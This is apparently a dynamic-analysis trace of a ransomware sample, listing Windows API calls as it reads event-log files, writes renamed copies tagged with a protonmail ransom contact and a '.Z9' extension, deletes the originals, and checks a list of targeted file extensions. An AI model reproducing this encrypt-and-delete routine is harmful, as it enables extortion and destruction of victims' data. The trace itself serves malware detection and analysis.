	[0080.466] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.466] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0080.466] CloseHandle (hObject=0x324) returned 1
	[0080.466] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20
	[0080.466] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.466] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.466] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.466] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.466] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.467] GetLastError () returned 0x0
	[0080.467] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.471] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.473] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.473] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x134, lpOverlapped=0x0) returned 1
	[0080.473] SetEndOfFile (hFile=0x390) returned 1
	[0080.473] CloseHandle (hObject=0x390) returned 1
	[0080.475] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.475] SetEndOfFile (hFile=0x324) returned 1
	[0080.477] CloseHandle (hObject=0x324) returned 1
	[0080.477] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.477] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1
	[0080.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.477] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.477] lstrlenW (lpString=".doc") returned 4
	[0080.477] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.477] lstrlenW (lpString=".docx") returned 5
	[0080.477] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.477] lstrlenW (lpString=".pdf") returned 4
	[0080.477] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.477] lstrlenW (lpString=".xls") returned 4
	[0080.477] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString=".xlsx") returned 5
	[0080.478] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.478] lstrlenW (lpString=".ppt") returned 4
	[0080.478] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.478] lstrlenW (lpString=".zip") returned 4
	[0080.478] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString=".rar") returned 4
	[0080.478] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString=".bz2") returned 4
	[0080.478] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString=".7z") returned 3
	[0080.478] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.478] lstrlenW (lpString=".dbf") returned 4
	[0080.478] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.478] lstrlenW (lpString=".1cd") returned 4
	[0080.478] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.478] lstrlenW (lpString=".jpg") returned 4
	[0080.478] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.478] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.478] lstrlenW (lpString=".doc") returned 4
	[0080.478] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.478] lstrlenW (lpString=".docx") returned 5
	[0080.479] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.479] lstrlenW (lpString=".pdf") returned 4
	[0080.479] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString=".xls") returned 4
	[0080.479] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString=".xlsx") returned 5
	[0080.479] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.479] lstrlenW (lpString=".ppt") returned 4
	[0080.479] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.479] lstrlenW (lpString=".zip") returned 4
	[0080.479] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString=".rar") returned 4
	[0080.479] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString=".bz2") returned 4
	[0080.479] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString=".7z") returned 3
	[0080.479] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.479] lstrlenW (lpString=".dbf") returned 4
	[0080.479] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.479] lstrlenW (lpString=".1cd") returned 4
	[0080.479] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.479] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0080.479] lstrlenW (lpString=".jpg") returned 4
	[0080.479] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.479] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.479] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54
	[0080.479] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.480] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0080.480] CloseHandle (hObject=0x324) returned 1
	[0080.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20
	[0080.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.480] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.480] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.480] GetLastError () returned 0x0
	[0080.480] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.484] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.486] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.486] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x140, lpOverlapped=0x0) returned 1
	[0080.486] SetEndOfFile (hFile=0x390) returned 1
	[0080.486] CloseHandle (hObject=0x390) returned 1
	[0080.489] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.490] SetEndOfFile (hFile=0x324) returned 1
	[0080.491] CloseHandle (hObject=0x324) returned 1
	[0080.491] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.491] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1
	[0080.491] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.491] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.491] lstrlenW (lpString=".doc") returned 4
	[0080.491] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.491] lstrlenW (lpString=".docx") returned 5
	[0080.491] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.492] lstrlenW (lpString=".pdf") returned 4
	[0080.492] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString=".xls") returned 4
	[0080.492] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString=".xlsx") returned 5
	[0080.492] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.492] lstrlenW (lpString=".ppt") returned 4
	[0080.492] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.492] lstrlenW (lpString=".zip") returned 4
	[0080.492] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString=".rar") returned 4
	[0080.492] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString=".bz2") returned 4
	[0080.492] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString=".7z") returned 3
	[0080.492] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.492] lstrlenW (lpString=".dbf") returned 4
	[0080.492] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.492] lstrlenW (lpString=".1cd") returned 4
	[0080.492] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.492] lstrlenW (lpString=".jpg") returned 4
	[0080.492] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.492] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.492] lstrlenW (lpString=".doc") returned 4
	[0080.492] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.492] lstrlenW (lpString=".docx") returned 5
	[0080.492] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.492] lstrlenW (lpString=".pdf") returned 4
	[0080.493] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString=".xls") returned 4
	[0080.493] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString=".xlsx") returned 5
	[0080.493] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.493] lstrlenW (lpString=".ppt") returned 4
	[0080.493] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.493] lstrlenW (lpString=".zip") returned 4
	[0080.493] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString=".rar") returned 4
	[0080.493] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString=".bz2") returned 4
	[0080.493] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString=".7z") returned 3
	[0080.493] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.493] lstrlenW (lpString=".dbf") returned 4
	[0080.493] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.493] lstrlenW (lpString=".1cd") returned 4
	[0080.493] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.493] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0080.493] lstrlenW (lpString=".jpg") returned 4
	[0080.493] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.493] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.493] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41
	[0080.493] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.494] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0080.494] CloseHandle (hObject=0x324) returned 1
	[0080.494] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20
	[0080.494] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.494] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.494] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.494] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.494] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.497] GetLastError () returned 0x0
	[0080.497] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.809] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.811] ReadFile (in: hFile=0x324, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.811] WriteFile (in: hFile=0x390, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x126, lpOverlapped=0x0) returned 1
	[0080.811] SetEndOfFile (hFile=0x390) returned 1
	[0080.811] CloseHandle (hObject=0x390) returned 1
	[0080.814] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.814] SetEndOfFile (hFile=0x324) returned 1
	[0080.815] CloseHandle (hObject=0x324) returned 1
	[0080.815] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.816] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1
	[0080.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.816] lstrlenW (lpString=".doc") returned 4
	[0080.816] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.816] lstrlenW (lpString=".docx") returned 5
	[0080.816] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.816] lstrlenW (lpString=".pdf") returned 4
	[0080.816] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.816] lstrlenW (lpString=".xls") returned 4
	[0080.816] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.816] lstrlenW (lpString=".xlsx") returned 5
	[0080.816] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.816] lstrlenW (lpString=".ppt") returned 4
	[0080.816] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.816] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.816] lstrlenW (lpString=".zip") returned 4
	[0080.816] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.816] lstrlenW (lpString=".rar") returned 4
	[0080.816] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.816] lstrlenW (lpString=".bz2") returned 4
	[0080.817] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString=".7z") returned 3
	[0080.817] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.817] lstrlenW (lpString=".dbf") returned 4
	[0080.817] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.817] lstrlenW (lpString=".1cd") returned 4
	[0080.817] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.817] lstrlenW (lpString=".jpg") returned 4
	[0080.817] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.817] lstrlenW (lpString=".doc") returned 4
	[0080.817] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString=".docx") returned 5
	[0080.817] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.817] lstrlenW (lpString=".pdf") returned 4
	[0080.817] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString=".xls") returned 4
	[0080.817] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString=".xlsx") returned 5
	[0080.817] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.817] lstrlenW (lpString=".ppt") returned 4
	[0080.817] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.817] lstrlenW (lpString=".zip") returned 4
	[0080.817] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString=".rar") returned 4
	[0080.817] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString=".bz2") returned 4
	[0080.817] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.817] lstrlenW (lpString=".7z") returned 3
	[0080.818] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.818] lstrlenW (lpString=".dbf") returned 4
	[0080.818] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.818] lstrlenW (lpString=".1cd") returned 4
	[0080.818] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.818] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0080.818] lstrlenW (lpString=".jpg") returned 4
	[0080.818] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.818] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.818] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51
	[0080.818] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.818] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0080.818] CloseHandle (hObject=0x324) returned 1
	[0080.818] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20
	[0080.818] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
